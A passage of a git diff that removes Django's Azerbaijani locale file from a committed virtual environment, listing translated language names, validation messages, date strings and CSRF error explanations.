İngiliscəsi" - -msgid "Esperanto" -msgstr "Esperanto" - -msgid "Spanish" -msgstr "İspan" - -msgid "Argentinian Spanish" -msgstr "Argentina İspancası" - -msgid "Colombian Spanish" -msgstr "Kolumbia İspancası" - -msgid "Mexican Spanish" -msgstr "Meksika İspancası" - -msgid "Nicaraguan Spanish" -msgstr "Nikaraqua İspancası" - -msgid "Venezuelan Spanish" -msgstr "Venesuela İspancası" - -msgid "Estonian" -msgstr "Eston" - -msgid "Basque" -msgstr "Bask" - -msgid "Persian" -msgstr "Fars" - -msgid "Finnish" -msgstr "Fin" - -msgid "French" -msgstr "Fransız" - -msgid "Frisian" -msgstr "Fris" - -msgid "Irish" -msgstr "İrland" - -msgid "Scottish Gaelic" -msgstr "Şotland Keltcəsi" - -msgid "Galician" -msgstr "Qalisiya" - -msgid "Hebrew" -msgstr "İvrit" - -msgid "Hindi" -msgstr "Hind" - -msgid "Croatian" -msgstr "Xorvat" - -msgid "Upper Sorbian" -msgstr "Yuxarı Sorb" - -msgid "Hungarian" -msgstr "Macar" - -msgid "Armenian" -msgstr "Erməni" - -msgid "Interlingua" -msgstr "İnterlinqua" - -msgid "Indonesian" -msgstr "İndoneziya dili" - -msgid "Igbo" -msgstr "İqbo" - -msgid "Ido" -msgstr "İdo" - -msgid "Icelandic" -msgstr "İsland" - -msgid "Italian" -msgstr "İtalyan" - -msgid "Japanese" -msgstr "Yapon" - -msgid "Georgian" -msgstr "Gürcü" - -msgid "Kabyle" -msgstr "Kabile" - -msgid "Kazakh" -msgstr "Qazax" - -msgid "Khmer" -msgstr "Xmer" - -msgid "Kannada" -msgstr "Kannada" - -msgid "Korean" -msgstr "Koreya" - -msgid "Kyrgyz" -msgstr "Qırğız" - -msgid "Luxembourgish" -msgstr "Lüksemburq" - -msgid "Lithuanian" -msgstr "Litva" - -msgid "Latvian" -msgstr "Latış" - -msgid "Macedonian" -msgstr "Makedon" - -msgid "Malayalam" -msgstr "Malayam" - -msgid "Mongolian" -msgstr "Monqol" - -msgid "Marathi" -msgstr "Marathi" - -msgid "Malay" -msgstr "Malay" - -msgid "Burmese" -msgstr "Birman" - -msgid "Norwegian Bokmål" -msgstr "Norveç Bukmolcası" - -msgid "Nepali" -msgstr "Nepal" - -msgid "Dutch" -msgstr "Niderland" - -msgid "Norwegian Nynorsk" -msgstr "Norveç Nyunorskcası" - -msgid "Ossetic" -msgstr "Osetin" - -msgid "Punjabi" -msgstr "Pəncab" - -msgid "Polish" -msgstr "Polyak" - -msgid "Portuguese" -msgstr "Portuqal" - -msgid "Brazilian Portuguese" -msgstr "Braziliya Portuqalcası" - -msgid "Romanian" -msgstr "Rumın" - -msgid "Russian" -msgstr "Rus" - -msgid "Slovak" -msgstr "Slovak" - -msgid "Slovenian" -msgstr "Sloven" - -msgid "Albanian" -msgstr "Alban" - -msgid "Serbian" -msgstr "Serb" - -msgid "Serbian Latin" -msgstr "Serb (Latın)" - -msgid "Swedish" -msgstr "İsveç" - -msgid "Swahili" -msgstr "Suahili" - -msgid "Tamil" -msgstr "Tamil" - -msgid "Telugu" -msgstr "Teluqu" - -msgid "Tajik" -msgstr "Tacik" - -msgid "Thai" -msgstr "Tay" - -msgid "Turkmen" -msgstr "Türkmən" - -msgid "Turkish" -msgstr "Türk" - -msgid "Tatar" -msgstr "Tatar" - -msgid "Udmurt" -msgstr "Udmurt" - -msgid "Uyghur" -msgstr "Uyğur" - -msgid "Ukrainian" -msgstr "Ukrayn" - -msgid "Urdu" -msgstr "Urdu" - -msgid "Uzbek" -msgstr "Özbək" - -msgid "Vietnamese" -msgstr "Vyetnam" - -msgid "Simplified Chinese" -msgstr "Sadələşdirilmiş Çin dili" - -msgid "Traditional Chinese" -msgstr "Ənənəvi Çin dili" - -msgid "Messages" -msgstr "Mesajlar" - -msgid "Site Maps" -msgstr "Sayt Xəritələri" - -msgid "Static Files" -msgstr "Statik Fayllar" - -msgid "Syndication" -msgstr "Sindikasiya" - -#. Translators: String used to replace omitted page numbers in elided page -#. range generated by paginators, e.g. [1, 2, '…', 5, 6, 7, '…', 9, 10]. -msgid "…" -msgstr "…" - -msgid "That page number is not an integer" -msgstr "Səhifə nömrəsi rəqəm deyil" - -msgid "That page number is less than 1" -msgstr "Səhifə nömrəsi 1-dən balacadır" - -msgid "That page contains no results" -msgstr "O səhifədə nəticə yoxdur" - -msgid "Enter a valid value." -msgstr "Düzgün dəyər daxil edin." - -msgid "Enter a valid domain name." -msgstr "Düzgün domen adı daxil edin." - -msgid "Enter a valid URL." -msgstr "Düzgün URL daxil edin." - -msgid "Enter a valid integer." -msgstr "Düzgün rəqəm daxil edin." - -msgid "Enter a valid email address." -msgstr "Düzgün e-poçt ünvanı daxil edin." - -#. Translators: "letters" means latin letters: a-z and A-Z. -msgid "" -"Enter a valid “slug” consisting of letters, numbers, underscores or hyphens." -msgstr "" -"Hərflərdən, rəqəmlərdən, alt-xətlərdən və ya defislərdən ibarət düzgün " -"qısaltma (“slug”) daxil edin." - -msgid "" -"Enter a valid “slug” consisting of Unicode letters, numbers, underscores, or " -"hyphens." -msgstr "" -"Unicode hərflərdən, rəqəmlərdən, alt-xətlərdən və ya defislərdən ibarət " -"düzgün qısaltma (“slug”) daxil edin." - -#, python-format -msgid "Enter a valid %(protocol)s address." -msgstr "Düzgün %(protocol)s adres daxil edin." - -msgid "IPv4" -msgstr "IPv4" - -msgid "IPv6" -msgstr "IPv6" - -msgid "IPv4 or IPv6" -msgstr "IPv4 və ya IPv6" - -msgid "Enter only digits separated by commas." -msgstr "Vergüllə ayırmaqla yalnız rəqəmlər daxil edin." - -#, python-format -msgid "Ensure this value is %(limit_value)s (it is %(show_value)s)." -msgstr "" -"Əmin olun ki, bu dəyər %(limit_value)s-dir/dır (bu %(show_value)s-dir/dır)." - -#, python-format -msgid "Ensure this value is less than or equal to %(limit_value)s." -msgstr "" -"Bu qiymətin %(limit_value)s-(y)a/ə bərabər və ya ondan kiçik olduğunu " -"yoxlayın." - -#, python-format -msgid "Ensure this value is greater than or equal to %(limit_value)s." -msgstr "" -"Bu qiymətin %(limit_value)s-(y)a/ə bərabər və ya ondan böyük olduğunu " -"yoxlayın." - -#, python-format -msgid "Ensure this value is a multiple of step size %(limit_value)s." -msgstr "" -"Bu dəyərin %(limit_value)s addım ölçüsünün mərtəbələri olduğundan əmin olun." - -#, python-format -msgid "" -"Ensure this value is a multiple of step size %(limit_value)s, starting from " -"%(offset)s, e.g. %(offset)s, %(valid_value1)s, %(valid_value2)s, and so on." -msgstr "" -"Bu dəyərin %(offset)s dəyərindən başlayaraq %(limit_value)s addım ölçüsü " -"mərtəbəsi olduğundan əmin olun. Məs: %(offset)s, %(valid_value1)s, " -"%(valid_value2)s və s." - -#, python-format -msgid "" -"Ensure this value has at least %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at least %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -"Bu dəyərin ən az %(limit_value)d simvol olduğuna əmin olun (%(show_value)d " -"simvol var)" -msgstr[1] "" -"Bu dəyərin ən az %(limit_value)d simvol olduğuna əmin olun (%(show_value)d " -"simvol var)" - -#, python-format -msgid "" -"Ensure this value has at most %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at most %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -"Bu dəyərin ən çox %(limit_value)d simvol olduğuna əmin olun (%(show_value)d " -"simvol var)" -msgstr[1] "" -"Bu dəyərin ən çox %(limit_value)d simvol olduğuna əmin olun (%(show_value)d " -"simvol var)" - -msgid "Enter a number." -msgstr "Ədəd daxil edin." - -#, python-format -msgid "Ensure that there are no more than %(max)s digit in total." -msgid_plural "Ensure that there are no more than %(max)s digits in total." -msgstr[0] "Toplamda %(max)s rəqəmdən çox olmadığına əmin olun." -msgstr[1] "Toplamda %(max)s rəqəmdən çox olmadığına əmin olun." - -#, python-format -msgid "Ensure that there are no more than %(max)s decimal place." -msgid_plural "Ensure that there are no more than %(max)s decimal places." -msgstr[0] "Onluq hissənin %(max)s rəqəmdən çox olmadığına əmin olun." -msgstr[1] "Onluq hissənin %(max)s rəqəmdən çox olmadığına əmin olun." - -#, python-format -msgid "" -"Ensure that there are no more than %(max)s digit before the decimal point." -msgid_plural "" -"Ensure that there are no more than %(max)s digits before the decimal point." -msgstr[0] "Onluq hissədən əvvəl %(max)s rəqəmdən çox olmadığına əmin olun." -msgstr[1] "Onluq hissədən əvvəl %(max)s rəqəmdən çox olmadığına əmin olun." - -#, python-format -msgid "" -"File extension “%(extension)s” is not allowed. Allowed extensions are: " -"%(allowed_extensions)s." -msgstr "" -"“%(extension)s” fayl uzantısına icazə verilmir. İcazə verilən fayl " -"uzantıları: %(allowed_extensions)s." - -msgid "Null characters are not allowed." -msgstr "Null simvollara icazə verilmir." - -msgid "and" -msgstr "və" - -#, python-format -msgid "%(model_name)s with this %(field_labels)s already exists." -msgstr "%(field_labels)s ilə %(model_name)s artıq mövcuddur." - -#, python-format -msgid "Constraint “%(name)s” is violated." -msgstr "“%(name)s” məhdudiyyəti pozuldu." - -#, python-format -msgid "Value %(value)r is not a valid choice." -msgstr "%(value)r dəyəri doğru seçim deyil." - -msgid "This field cannot be null." -msgstr "Bu sahə boş qala bilməz." - -msgid "This field cannot be blank." -msgstr "Bu sahə ağ qala bilməz." - -#, python-format -msgid "%(model_name)s with this %(field_label)s already exists." -msgstr "%(model_name)s bu %(field_label)s sahə ilə artıq mövcuddur." - -#. Translators: The 'lookup_type' is one of 'date', 'year' or -#. 'month'. Eg: "Title must be unique for pub_date year" -#, python-format -msgid "" -"%(field_label)s must be unique for %(date_field_label)s %(lookup_type)s." -msgstr "" -"%(field_label)s dəyəri %(date_field_label)s %(lookup_type)s üçün unikal " -"olmalıdır." - -#, python-format -msgid "Field of type: %(field_type)s" -msgstr "Sahənin tipi: %(field_type)s" - -#, python-format -msgid "“%(value)s” value must be either True or False." -msgstr "“%(value)s” dəyəri ya True, ya da False olmalıdır." - -#, python-format -msgid "“%(value)s” value must be either True, False, or None." -msgstr "“%(value)s” dəyəri True, False və ya None olmalıdır." - -msgid "Boolean (Either True or False)" -msgstr "Bul (ya Doğru, ya Yalan)" - -#, python-format -msgid "String (up to %(max_length)s)" -msgstr "Sətir (%(max_length)s simvola kimi)" - -msgid "String (unlimited)" -msgstr "Sətir (limitsiz)" - -msgid "Comma-separated integers" -msgstr "Vergüllə ayrılmış tam ədədlər" - -#, python-format -msgid "" -"“%(value)s” value has an invalid date format. It must be in YYYY-MM-DD " -"format." -msgstr "" -"“%(value)s” dəyəri səhv tarix formatındadır. Formatı YYYY-MM-DD olmalıdır." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD) but it is an invalid " -"date." -msgstr "" -"“%(value)s” dəyəri düzgün formatdadır (YYYY-MM-DD), amma bu tarix xətalıdır." - -msgid "Date (without time)" -msgstr "Tarix (saatsız)" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in YYYY-MM-DD HH:MM[:ss[." -"uuuuuu]][TZ] format." -msgstr "" -"“%(value)s” dəyərinin formatı səhvdir. Formatı YYYY-MM-DD HH:MM[:ss[.uuuuuu]]" -"[TZ] olmalıdır." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD HH:MM[:ss[.uuuuuu]]" -"[TZ]) but it is an invalid date/time." -msgstr "" -"“%(value)s” dəyərinin formatı düzgündür (YYYY-MM-DD HH:MM[:ss[.uuuuuu]][TZ]) " -"amma bu tarix xətalıdır." - -msgid "Date (with time)" -msgstr "Tarix (vaxt ilə)" - -#, python-format -msgid "“%(value)s” value must be a decimal number." -msgstr "“%(value)s” dəyəri onluq kəsrli (decimal) rəqəm olmalıdır." - -msgid "Decimal number" -msgstr "Rasional ədəd" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in [DD] [[HH:]MM:]ss[." -"uuuuuu] format." -msgstr "" -"“%(value)s” dəyərinin formatı səhvdir. Formatı [DD] [HH:[MM:]]ss[.uuuuuu] " -"olmalıdır." - -msgid "Duration" -msgstr "Müddət" - -msgid "Email address" -msgstr "E-poçt" - -msgid "File path" -msgstr "Faylın ünvanı" - -#, python-format -msgid "“%(value)s” value must be a float." -msgstr "“%(value)s” dəyəri float olmalıdır." - -msgid "Floating point number" -msgstr "Sürüşən vergüllü ədəd" - -#, python-format -msgid "“%(value)s” value must be an integer." -msgstr "“%(value)s” dəyəri tam rəqəm olmalıdır." - -msgid "Integer" -msgstr "Tam ədəd" - -msgid "Big (8 byte) integer" -msgstr "Böyük (8 bayt) tam ədəd" - -msgid "Small integer" -msgstr "Kiçik tam ədəd" - -msgid "IPv4 address" -msgstr "IPv4 ünvanı" - -msgid "IP address" -msgstr "IP ünvan" - -#, python-format -msgid "“%(value)s” value must be either None, True or False." -msgstr "“%(value)s” dəyəri None, True və ya False olmalıdır." - -msgid "Boolean (Either True, False or None)" -msgstr "Bul (Ya True, ya False, ya da None)" - -msgid "Positive big integer" -msgstr "Müsbət böyük rəqəm" - -msgid "Positive integer" -msgstr "Müsbət tam ədəd" - -msgid "Positive small integer" -msgstr "Müsbət tam kiçik ədəd" - -#, python-format -msgid "Slug (up to %(max_length)s)" -msgstr "Əzmə (%(max_length)s simvola kimi)" - -msgid "Text" -msgstr "Mətn" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in HH:MM[:ss[.uuuuuu]] " -"format." -msgstr "" -"“%(value)s” dəyərinin formatı səhvdir. Formatı HH:MM[:ss[.uuuuuu]] olmalıdır." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (HH:MM[:ss[.uuuuuu]]) but it is an " -"invalid time." -msgstr "" -"“%(value)s” dəyəri düzgün formatdadır (HH:MM[:ss[.uuuuuu]]), amma vaxtı " -"xətalıdır." - -msgid "Time" -msgstr "Vaxt" - -msgid "URL" -msgstr "URL" - -msgid "Raw binary data" -msgstr "Düz ikili (binary) məlumat" - -#, python-format -msgid "“%(value)s” is not a valid UUID." -msgstr "“%(value)s” keçərli UUID deyil." - -msgid "Universally unique identifier" -msgstr "Universal təkrarolunmaz identifikator" - -msgid "File" -msgstr "Fayl" - -msgid "Image" -msgstr "Şəkil" - -msgid "A JSON object" -msgstr "JSON obyekti" - -msgid "Value must be valid JSON." -msgstr "Dəyər düzgün JSON olmalıdır." - -#, python-format -msgid "%(model)s instance with %(field)s %(value)r does not exist." -msgstr "%(field)s dəyəri %(value)r olan %(model)s mövcud deyil." - -msgid "Foreign Key (type determined by related field)" -msgstr "Xarici açar (bağlı olduğu sahəyə uyğun tipi alır)" - -msgid "One-to-one relationship" -msgstr "Birin-birə münasibət" - -#, python-format -msgid "%(from)s-%(to)s relationship" -msgstr "%(from)s-%(to)s əlaqəsi" - -#, python-format -msgid "%(from)s-%(to)s relationships" -msgstr "%(from)s-%(to)s əlaqələri" - -msgid "Many-to-many relationship" -msgstr "Çoxun-çoxa münasibət" - -#. Translators: If found as last label character, these punctuation -#. characters will prevent the default label_suffix to be appended to the -#. label -msgid ":?.!" -msgstr ":?.!" - -msgid "This field is required." -msgstr "Bu sahə vacibdir." - -msgid "Enter a whole number." -msgstr "Tam ədəd daxil edin." - -msgid "Enter a valid date." -msgstr "Düzgün tarix daxil edin." - -msgid "Enter a valid time." -msgstr "Düzgün vaxt daxil edin." - -msgid "Enter a valid date/time." -msgstr "Düzgün tarix/vaxt daxil edin." - -msgid "Enter a valid duration." -msgstr "Keçərli müddət daxil edin." - -#, python-brace-format -msgid "The number of days must be between {min_days} and {max_days}." -msgstr "Günlərin sayı {min_days} ilə {max_days} arasında olmalıdır." - -msgid "No file was submitted. Check the encoding type on the form." -msgstr "Fayl göndərilməyib. Vərəqənin (\"form\") şifrələmə tipini yoxlayın." - -msgid "No file was submitted." -msgstr "Fayl göndərilməyib." - -msgid "The submitted file is empty." -msgstr "Göndərilən fayl boşdur." - -#, python-format -msgid "Ensure this filename has at most %(max)d character (it has %(length)d)." -msgid_plural "" -"Ensure this filename has at most %(max)d characters (it has %(length)d)." -msgstr[0] "" -"Bu fayl adının ən çox %(max)d simvol olduğuna əmin olun (%(length)d var)." -msgstr[1] "" -"Bu fayl adının ən çox %(max)d simvol olduğuna əmin olun (%(length)d var)." - -msgid "Please either submit a file or check the clear checkbox, not both." -msgstr "" -"Ya fayl göndərin, ya da xanaya quş qoymayın, hər ikisini də birdən etməyin." - -msgid "" -"Upload a valid image. The file you uploaded was either not an image or a " -"corrupted image." -msgstr "" -"Düzgün şəkil göndərin. Göndərdiyiniz fayl ya şəkil deyil, ya da şəkildə " -"problem var." - -#, python-format -msgid "Select a valid choice. %(value)s is not one of the available choices." -msgstr "Düzgün seçim edin. %(value)s seçimlər arasında yoxdur." - -msgid "Enter a list of values." -msgstr "Qiymətlərin siyahısını daxil edin." - -msgid "Enter a complete value." -msgstr "Tam dəyər daxil edin." - -msgid "Enter a valid UUID." -msgstr "Keçərli UUID daxil et." - -msgid "Enter a valid JSON." -msgstr "Etibarlı bir JSON daxil edin." - -#. Translators: This is the default suffix added to form field labels -msgid ":" -msgstr ":" - -#, python-format -msgid "(Hidden field %(name)s) %(error)s" -msgstr "(Gizli %(name)s sahəsi) %(error)s" - -#, python-format -msgid "" -"ManagementForm data is missing or has been tampered with. Missing fields: " -"%(field_names)s. You may need to file a bug report if the issue persists." -msgstr "" -"ManagementForm datası ya əskikdir, ya da dəyişdirilib. Çatışmayan xanalar: " -"%(field_names)s. Problem davam edərsə, səhv hesabatı təqdim etməli ola " -"bilərsiniz." - -#, python-format -msgid "Please submit at most %(num)d form." -msgid_plural "Please submit at most %(num)d forms." -msgstr[0] "Zəhmət olmasa ən çox %(num)d forma təsdiqləyin." -msgstr[1] "Zəhmət olmasa ən çox %(num)d forma təsdiqləyin." - -#, python-format -msgid "Please submit at least %(num)d form." -msgid_plural "Please submit at least %(num)d forms." -msgstr[0] "Zəhmət olmasa ən az %(num)d forma təsdiqləyin." -msgstr[1] "Zəhmət olmasa ən az %(num)d forma təsdiqləyin." - -msgid "Order" -msgstr "Sırala" - -msgid "Delete" -msgstr "Sil" - -#, python-format -msgid "Please correct the duplicate data for %(field)s." -msgstr "%(field)s sahəsinə görə təkrarlanan məlumatlara düzəliş edin." - -#, python-format -msgid "Please correct the duplicate data for %(field)s, which must be unique." -msgstr "" -"%(field)s sahəsinə görə təkrarlanan məlumatlara düzəliş edin, onların hamısı " -"fərqli olmalıdır." - -#, python-format -msgid "" -"Please correct the duplicate data for %(field_name)s which must be unique " -"for the %(lookup)s in %(date_field)s." -msgstr "" -"%(field_name)s sahəsinə görə təkrarlanan məlumatlara düzəliş edin, onlar " -"%(date_field)s %(lookup)s-a görə fərqli olmalıdır." - -msgid "Please correct the duplicate values below." -msgstr "Aşağıda təkrarlanan qiymətlərə düzəliş edin." - -msgid "The inline value did not match the parent instance." -msgstr "Sətiriçi dəyər ana nüsxəyə uyğun deyil." - -msgid "Select a valid choice. That choice is not one of the available choices." -msgstr "Düzgün seçim edin. Bu seçim mümkün deyil." - -#, python-format -msgid "“%(pk)s” is not a valid value." -msgstr "“%(pk)s” düzgün dəyər deyil." - -#, python-format -msgid "" -"%(datetime)s couldn’t be interpreted in time zone %(current_timezone)s; it " -"may be ambiguous or it may not exist." -msgstr "" -"%(datetime)s vaxtı %(current_timezone)s zaman qurşağında ifadə oluna bilmir; " -"ya qeyri-müəyyənlik, ya da mövcud olmaya bilər." - -msgid "Clear" -msgstr "Təmizlə" - -msgid "Currently" -msgstr "Hal-hazırda" - -msgid "Change" -msgstr "Dəyiş" - -msgid "Unknown" -msgstr "Məlum deyil" - -msgid "Yes" -msgstr "Hə" - -msgid "No" -msgstr "Yox" - -#. Translators: Please do not add spaces around commas. -msgid "yes,no,maybe" -msgstr "hə,yox,bəlkə" - -#, python-format -msgid "%(size)d byte" -msgid_plural "%(size)d bytes" -msgstr[0] "%(size)d bayt" -msgstr[1] "%(size)d bayt" - -#, python-format -msgid "%s KB" -msgstr "%s KB" - -#, python-format -msgid "%s MB" -msgstr "%s MB" - -#, python-format -msgid "%s GB" -msgstr "%s QB" - -#, python-format -msgid "%s TB" -msgstr "%s TB" - -#, python-format -msgid "%s PB" -msgstr "%s PB" - -msgid "p.m." -msgstr "g.s." - -msgid "a.m." -msgstr "g.ə." - -msgid "PM" -msgstr "GS" - -msgid "AM" -msgstr "GƏ" - -msgid "midnight" -msgstr "gecə yarısı" - -msgid "noon" -msgstr "günorta" - -msgid "Monday" -msgstr "Bazar ertəsi" - -msgid "Tuesday" -msgstr "Çərşənbə axşamı" - -msgid "Wednesday" -msgstr "Çərşənbə" - -msgid "Thursday" -msgstr "Cümə axşamı" - -msgid "Friday" -msgstr "Cümə" - -msgid "Saturday" -msgstr "Şənbə" - -msgid "Sunday" -msgstr "Bazar" - -msgid "Mon" -msgstr "B.e" - -msgid "Tue" -msgstr "Ç.a" - -msgid "Wed" -msgstr "Çrş" - -msgid "Thu" -msgstr "C.a" - -msgid "Fri" -msgstr "Cüm" - -msgid "Sat" -msgstr "Şnb" - -msgid "Sun" -msgstr "Bzr" - -msgid "January" -msgstr "Yanvar" - -msgid "February" -msgstr "Fevral" - -msgid "March" -msgstr "Mart" - -msgid "April" -msgstr "Aprel" - -msgid "May" -msgstr "May" - -msgid "June" -msgstr "İyun" - -msgid "July" -msgstr "İyul" - -msgid "August" -msgstr "Avqust" - -msgid "September" -msgstr "Sentyabr" - -msgid "October" -msgstr "Oktyabr" - -msgid "November" -msgstr "Noyabr" - -msgid "December" -msgstr "Dekabr" - -msgid "jan" -msgstr "ynv" - -msgid "feb" -msgstr "fvr" - -msgid "mar" -msgstr "mar" - -msgid "apr" -msgstr "apr" - -msgid "may" -msgstr "may" - -msgid "jun" -msgstr "iyn" - -msgid "jul" -msgstr "iyl" - -msgid "aug" -msgstr "avq" - -msgid "sep" -msgstr "snt" - -msgid "oct" -msgstr "okt" - -msgid "nov" -msgstr "noy" - -msgid "dec" -msgstr "dek" - -msgctxt "abbrev. month" -msgid "Jan." -msgstr "Yan." - -msgctxt "abbrev. month" -msgid "Feb." -msgstr "Fev." - -msgctxt "abbrev. month" -msgid "March" -msgstr "Mart" - -msgctxt "abbrev. month" -msgid "April" -msgstr "Aprel" - -msgctxt "abbrev. month" -msgid "May" -msgstr "May" - -msgctxt "abbrev. month" -msgid "June" -msgstr "İyun" - -msgctxt "abbrev. month" -msgid "July" -msgstr "İyul" - -msgctxt "abbrev. month" -msgid "Aug." -msgstr "Avq." - -msgctxt "abbrev. month" -msgid "Sept." -msgstr "Sen." - -msgctxt "abbrev. month" -msgid "Oct." -msgstr "Okt." - -msgctxt "abbrev. month" -msgid "Nov." -msgstr "Noy." - -msgctxt "abbrev. month" -msgid "Dec." -msgstr "Dek." - -msgctxt "alt. month" -msgid "January" -msgstr "Yanvar" - -msgctxt "alt. month" -msgid "February" -msgstr "Fevral" - -msgctxt "alt. month" -msgid "March" -msgstr "Mart" - -msgctxt "alt. month" -msgid "April" -msgstr "Aprel" - -msgctxt "alt. month" -msgid "May" -msgstr "May" - -msgctxt "alt. month" -msgid "June" -msgstr "İyun" - -msgctxt "alt. month" -msgid "July" -msgstr "İyul" - -msgctxt "alt. month" -msgid "August" -msgstr "Avqust" - -msgctxt "alt. month" -msgid "September" -msgstr "Sentyabr" - -msgctxt "alt. month" -msgid "October" -msgstr "Oktyabr" - -msgctxt "alt. month" -msgid "November" -msgstr "Noyabr" - -msgctxt "alt. month" -msgid "December" -msgstr "Dekabr" - -msgid "This is not a valid IPv6 address." -msgstr "Bu doğru IPv6 ünvanı deyil." - -#, python-format -msgctxt "String to return when truncating text" -msgid "%(truncated_text)s…" -msgstr "%(truncated_text)s…" - -msgid "or" -msgstr "və ya" - -#. Translators: This string is used as a separator between list elements -msgid ", " -msgstr ", " - -#, python-format -msgid "%(num)d year" -msgid_plural "%(num)d years" -msgstr[0] "%(num)d il" -msgstr[1] "%(num)d il" - -#, python-format -msgid "%(num)d month" -msgid_plural "%(num)d months" -msgstr[0] "%(num)d ay" -msgstr[1] "%(num)d ay" - -#, python-format -msgid "%(num)d week" -msgid_plural "%(num)d weeks" -msgstr[0] "%(num)d həftə" -msgstr[1] "%(num)d həftə" - -#, python-format -msgid "%(num)d day" -msgid_plural "%(num)d days" -msgstr[0] "%(num)d gün" -msgstr[1] "%(num)d gün" - -#, python-format -msgid "%(num)d hour" -msgid_plural "%(num)d hours" -msgstr[0] "%(num)d saat" -msgstr[1] "%(num)d saat" - -#, python-format -msgid "%(num)d minute" -msgid_plural "%(num)d minutes" -msgstr[0] "%(num)d dəqiqə" -msgstr[1] "%(num)d dəqiqə" - -msgid "Forbidden" -msgstr "Qadağan" - -msgid "CSRF verification failed. Request aborted." -msgstr "CSRF təsdiqləmə alınmadı. Sorğu ləğv edildi." - -msgid "" -"You are seeing this message because this HTTPS site requires a “Referer " -"header” to be sent by your web browser, but none was sent. This header is " -"required for security reasons, to ensure that your browser is not being " -"hijacked by third parties." -msgstr "" -"Bu mesajı ona görə görürsünüz ki, bu HTTPS saytı sizin səyyah tərəfindən " -"“Referer header”in göndərilməsini tələb etdiyi halda heç nə " -"göndərilməmişdir. Bu başlıq sizin veb-səyyahınızın kənar şəxlər tərəfindən " -"ələ keçirilmədiyindən əmin olmaq üçün tələb olunur." - -msgid "" -"If you have configured your browser to disable “Referer” headers, please re-" -"enable them, at least for this site, or for HTTPS connections, or for “same-" -"origin” requests." -msgstr "" -"Əgər səyyahınızın “Referer” başlığını göndərməsini söndürmüsünüzsə, lütfən " -"bu sayt üçün, HTTPS əlaqələr üçün və ya “same-origin” sorğular üçün aktiv " -"edin." - -msgid "" -"If you are using the tag or " -"including the “Referrer-Policy: no-referrer” header, please remove them. The " -"CSRF protection requires the “Referer” header to do strict referer checking. " -"If you’re concerned about privacy, use alternatives like for links to third-party sites." -msgstr "" -"Əgər etiketini və ya " -"“Referrer-Policy: no-referrer” başlığını işlədirsinizsə, lütfən silin. CSRF " -"qoruma dəqiq yönləndirən yoxlaması üçün “Referer” başlığını tələb edir. Əgər " -"məxfilik üçün düşünürsünüzsə, üçüncü tərəf sayt keçidləri üçün kimi bir alternativ işlədin." - -msgid "" -"You are seeing this message because this site requires a CSRF cookie when " -"submitting forms. This cookie is required for security reasons, to ensure " -"that your browser is not being hijacked by third parties." -msgstr "" -"Bu sayt formaları göndərmək üçün CSRF çərəzini işlədir. Bu çərəz " -"səyyahınızın üçüncü biri tərəfindən hack-lənmədiyinə əmin olmaq üçün " -"istifadə edilir. " - -msgid "" -"If you have configured your browser to disable cookies, please re-enable " -"them, at least for this site, or for “same-origin” requests." -msgstr "" -"Əgər səyyahınızda çərəzlər söndürülübsə, lütfən bu sayt və ya “same-origin” " -"sorğular üçün aktiv edin." - -msgid "More information is available with DEBUG=True." -msgstr "Daha ətraflı məlumat DEBUG=True ilə mövcuddur." - -msgid "No year specified" -msgstr "İl göstərilməyib" - -msgid "Date out of range" -msgstr "Tarix aralığın xaricindədir" - -msgid "No month specified" -msgstr "Ay göstərilməyib" - -msgid "No day specified" -msgstr "Gün göstərilməyib" - -msgid "No week specified" -msgstr "Həftə göstərilməyib" - -#, python-format -msgid "No %(verbose_name_plural)s available" -msgstr "%(verbose_name_plural)s seçmək mümkün deyil" - -#, python-format -msgid "" -"Future %(verbose_name_plural)s not available because %(class_name)s." -"allow_future is False." -msgstr "" -"Gələcək %(verbose_name_plural)s seçmək mümkün deyil, çünki %(class_name)s." -"allow_future Yalan kimi qeyd olunub." - -#, python-format -msgid "Invalid date string “%(datestr)s” given format “%(format)s”" -msgstr "“%(format)s” formatına görə “%(datestr)s” tarixi düzgün deyil" - -#, python-format -msgid "No %(verbose_name)s found matching the query" -msgstr "Sorğuya uyğun %(verbose_name)s tapılmadı" - -msgid "Page is not “last”, nor can it be converted to an int." -msgstr "Səhifə həm “axırıncı” deyil, həm də tam ədədə çevrilə bilmir." - -#, python-format -msgid "Invalid page (%(page_number)s): %(message)s" -msgstr "Yanlış səhifə (%(page_number)s): %(message)s" - -#, python-format -msgid "Empty list and “%(class_name)s.allow_empty” is False." -msgstr "Siyahı boşdur və “%(class_name)s.allow_empty” dəyəri False-dur." - -msgid "Directory indexes are not allowed here." -msgstr "Ünvan indekslərinə icazə verilmir." - -#, python-format -msgid "“%(path)s” does not exist" -msgstr "“%(path)s” mövcud deyil" - -#, python-format -msgid "Index of %(directory)s" -msgstr "%(directory)s-nin indeksi" - -msgid "The install worked successfully! Congratulations!" -msgstr "Quruluş uğurla tamamlandı! Təbriklər!" - -#, python-format -msgid "" -"View release notes for Django %(version)s" -msgstr "" -"Django %(version)s üçün buraxılış " -"qeydlərinə baxın" - -#, python-format -msgid "" -"You are seeing this page because DEBUG=True is in your settings file and you have not " -"configured any URLs." -msgstr "" -"Tənzimləmə faylınızda DEBUG=True və heç bir URL qurmadığınız üçün bu səhifəni " -"görürsünüz." - -msgid "Django Documentation" -msgstr "Django Dokumentasiya" - -msgid "Topics, references, & how-to’s" -msgstr "Mövzular, istinadlar və nümunələr" - -msgid "Tutorial: A Polling App" -msgstr "Məşğələ: Səsvermə Tətbiqi" - -msgid "Get started with Django" -msgstr "Django ilə başla" - -msgid "Django Community" -msgstr "Django İcması" - -msgid "Connect, get help, or contribute" -msgstr "Qoşul, kömək al və dəstək ol" diff --git a/backend/venv/Lib/site-packages/django/conf/locale/az/__init__.py b/backend/venv/Lib/site-packages/django/conf/locale/az/__init__.py deleted file mode 100644 index e69de29b..00000000 diff --git a/backend/venv/Lib/site-packages/django/conf/locale/az/__pycache__/__init__.cpython-311.pyc 